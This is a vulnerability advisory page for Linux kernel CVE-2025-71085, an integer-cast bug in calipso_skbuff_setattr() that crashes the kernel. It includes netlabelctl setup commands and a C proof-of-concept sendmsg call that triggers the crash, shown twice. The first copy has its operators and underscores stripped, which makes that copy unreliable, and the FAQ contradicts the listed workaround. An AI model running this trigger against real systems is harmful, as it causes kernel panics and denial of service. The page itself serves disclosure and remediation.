CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
In the Linux kernel, the following vulnerability has been resolved:
ipv6: BUG() in pskbexpandhead() as part of calipsoskbuffsetattr()
There exists a kernel oops caused by a BUGON(nhead 0) at net/core/skbuff.c:2232 in pskbexpandhead(). This bug is triggered as part of the calipsoskbuffsetattr() routine when skbcow() is passed headroom INTMAX (i.e. (int)(skbheadroom(skb) + lendelta) 0).
The root cause of the bug is due to an implicit integer cast in skbcow(). The check (headroom skbheadroom(skb)) is meant to ensure that delta = headroom - skbheadroom(skb) is never negative, otherwise we will trigger a BUGON in pskbexpandhead(). However, if headroom INTMAX and delta = -NETSKBPAD, the check passes, delta becomes negative, and pskbexpandhead() is passed a negative value for nhead.
Fix the trigger condition in calipsoskbuffsetattr(). Avoid passing "negative" headroom sizes to skbcow() within calipsoskbuffsetattr() by only using skbcow() to grow headroom.
PoC: Using netlabelctl tool:
netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AFINET6, SOCKDGRAM, IPPROTOUDP);
// setup msghdr int cmsgsize = 2; int cmsglen = 0x60; struct msghdr msg; struct sockaddrin6 destaddr; struct cmsghdr cmsg = (struct cmsghdr ) calloc(1, sizeof(struct cmsghdr) + cmsglen); msg.msgname = &destaddr; msg.msgnamelen = sizeof(destaddr); msg.msgiov = NULL; msg.msgiovlen = 0; msg.msgcontrol = cmsg; msg.msgcontrollen = cmsglen; msg.msgflags = 0;
// setup sockaddr destaddr.sin6family = AFINET6; destaddr.sin6port = htons(31337); destaddr.sin6flowinfo = htonl(31337); destaddr.sin6addr = in6addrloopback; destaddr.sin6scopeid = 31337;
// setup cmsghdr cmsg-cmsglen = cmsglen; cmsg-cmsglevel = IPPROTOIPV6; cmsg-cmsgtype = IPV6HOPOPTS; char hophdr = (char )cmsg + sizeof(struct cmsghdr); hophdr[1] = 0x9; //set hop size - (0x9 + 1) 8 = 80
sendmsg(fd, &msg, 0);
Other sources
In the Linux kernel, the following vulnerability has been resolved:
ipv6: BUG() in pskbexpandhead() as part of calipsoskbuffsetattr()
There exists a kernel oops caused by a BUGON(nhead < 0) at net/core/skbuff.c:2232 in pskbexpandhead(). This bug is triggered as part of the calipsoskbuffsetattr() routine when skbcow() is passed headroom > INTMAX (i.e. (int)(skbheadroom(skb) + lendelta) < 0).
The root cause of the bug is due to an implicit integer cast in skbcow(). The check (headroom > skbheadroom(skb)) is meant to ensure that delta = headroom - skbheadroom(skb) is never negative, otherwise we will trigger a BUGON in pskbexpandhead(). However, if headroom > INTMAX and delta <= -NETSKBPAD, the check passes, delta becomes negative, and pskbexpandhead() is passed a negative value for nhead.
Fix the trigger condition in calipsoskbuffsetattr(). Avoid passing "negative" headroom sizes to skbcow() within calipsoskbuffsetattr() by only using skbcow() to grow headroom.
PoC: Using netlabelctl tool:
netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AFINET6, SOCKDGRAM, IPPROTOUDP);
// setup msghdr int cmsgsize = 2; int cmsglen = 0x60; struct msghdr msg; struct sockaddrin6 destaddr; struct cmsghdr cmsg = (struct cmsghdr ) calloc(1, sizeof(struct cmsghdr) + cmsglen); msg.msgname = &destaddr; msg.msgnamelen = sizeof(destaddr); msg.msgiov = NULL; msg.msgiovlen = 0; msg.msgcontrol = cmsg; msg.msgcontrollen = cmsglen; msg.msgflags = 0;
// setup sockaddr destaddr.sin6family = AFINET6; destaddr.sin6port = htons(31337); destaddr.sin6flowinfo = htonl(31337); destaddr.sin6addr = in6addrloopback; destaddr.sin6scopeid = 31337;
// setup cmsghdr cmsg->cmsglen = cmsglen; cmsg->cmsglevel = IPPROTOIPV6; cmsg->cmsgtype = IPV6HOPOPTS; char hophdr = (char )cmsg + sizeof(struct cmsghdr); hophdr[1] = 0x9; //set hop size - (0x9 + 1) 8 = 80
sendmsg(fd, &msg, 0);
— Red Hat
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
Fix the trigger condition in calipso_skbuff_setattr() so the logic around headroom and the delta passed to skb_cow()/pskb_expand_head() cannot result in pskb_expand_head() being called with a negative value (nhead < 0), which otherwise triggers the BUG_ON in pskb_expand_head().
Linux kernel calipso_skbuff_setattr() headroom trigger condition for skb_cow()/pskb_expand_head() = Fix trigger condition to avoid negative nhead - Compensating control
If the vulnerable calipso path cannot be immediately fixed, avoid exercising calipso_skbuff_setattr() via netlabelctl-driven calipso netlabel rules for affected setups (e.g., do not add the calipso pass/doI mapping that leads to the described BUG-on trigger); remove any recently added netlabelctl mappings used for calipso (e.g., the 'netlabelctl map add default address:0::1/128 protocol:calipso,7' mapping) until the kernel fix is applied.
- Operational
After applying the kernel fix, remove any test/exploit-oriented netlabel entries created during validation (e.g., run the equivalent of 'netlabelctl map del default' if that was used) to restore the environment to its intended state.
Event History
Frequently Asked Questions
What is the severity of CVE-2025-71085?
CVE-2025-71085 has been rated as high severity due to its potential to cause kernel crashes.
How do I fix CVE-2025-71085?
To fix CVE-2025-71085, upgrade to the latest stable version of the Linux kernel that patches this vulnerability.
What are the potential impacts of CVE-2025-71085?
The potential impacts of CVE-2025-71085 include system instability and unexpected kernel panics.
Which versions of the Linux kernel are affected by CVE-2025-71085?
CVE-2025-71085 affects various versions of the Linux kernel prior to the patches released for this CVE.
Is there any workaround for CVE-2025-71085?
Currently, the recommended approach for CVE-2025-71085 is to apply the security updates rather than using workarounds.